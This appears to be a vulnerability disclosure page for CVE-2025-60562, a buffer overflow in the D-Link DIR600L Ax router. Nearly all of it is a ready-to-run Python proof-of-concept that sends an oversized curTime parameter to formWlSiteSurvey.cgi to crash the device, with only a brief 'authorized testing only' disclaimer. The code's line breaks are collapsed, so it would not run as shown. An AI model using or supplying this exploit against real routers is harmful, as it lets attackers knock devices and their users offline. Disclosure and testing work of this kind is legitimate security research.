CVE-2025-60562 D-Link DIR600L Ax 缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-60562 PoC - D-Link DIR600L Ax Buffer Overflow in formWlSiteSurvey This PoC demonstrates the buffer overflow vulnerability via curTime parameter. Note: Use only for authorized security testing. """ import requests import sys target = "http://192.168.0.1" # Default D-Link router IP def exploit_buffer_overflow(): """ Send malicious request with oversized curTime parameter to trigger buffer overflow. """ # Create oversized payload to trigger buffer overflow # The exact length may vary based on the vulnerable function's buffer size overflow_length = 1000 # Adjust based on testing payload = "A" * overflow_length # Construct the exploit request url = f"{target}/formWlSiteSurvey.cgi" data = { "curTime": payload, # Malicious overflow payload "submit button": "Refresh", } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-60562-PoC)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] If vulnerable, the router may crash or become unresponsive") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print(f"[*] This may indicate successful exploitation (device crash)") if __name__ == "__main__": print("="*60) print("CVE-2025-60562 PoC - D-Link DIR600L Ax Buffer Overflow") print("="*60) if len(sys.argv) > 1: target = sys.argv[1] exploit_buffer_overflow()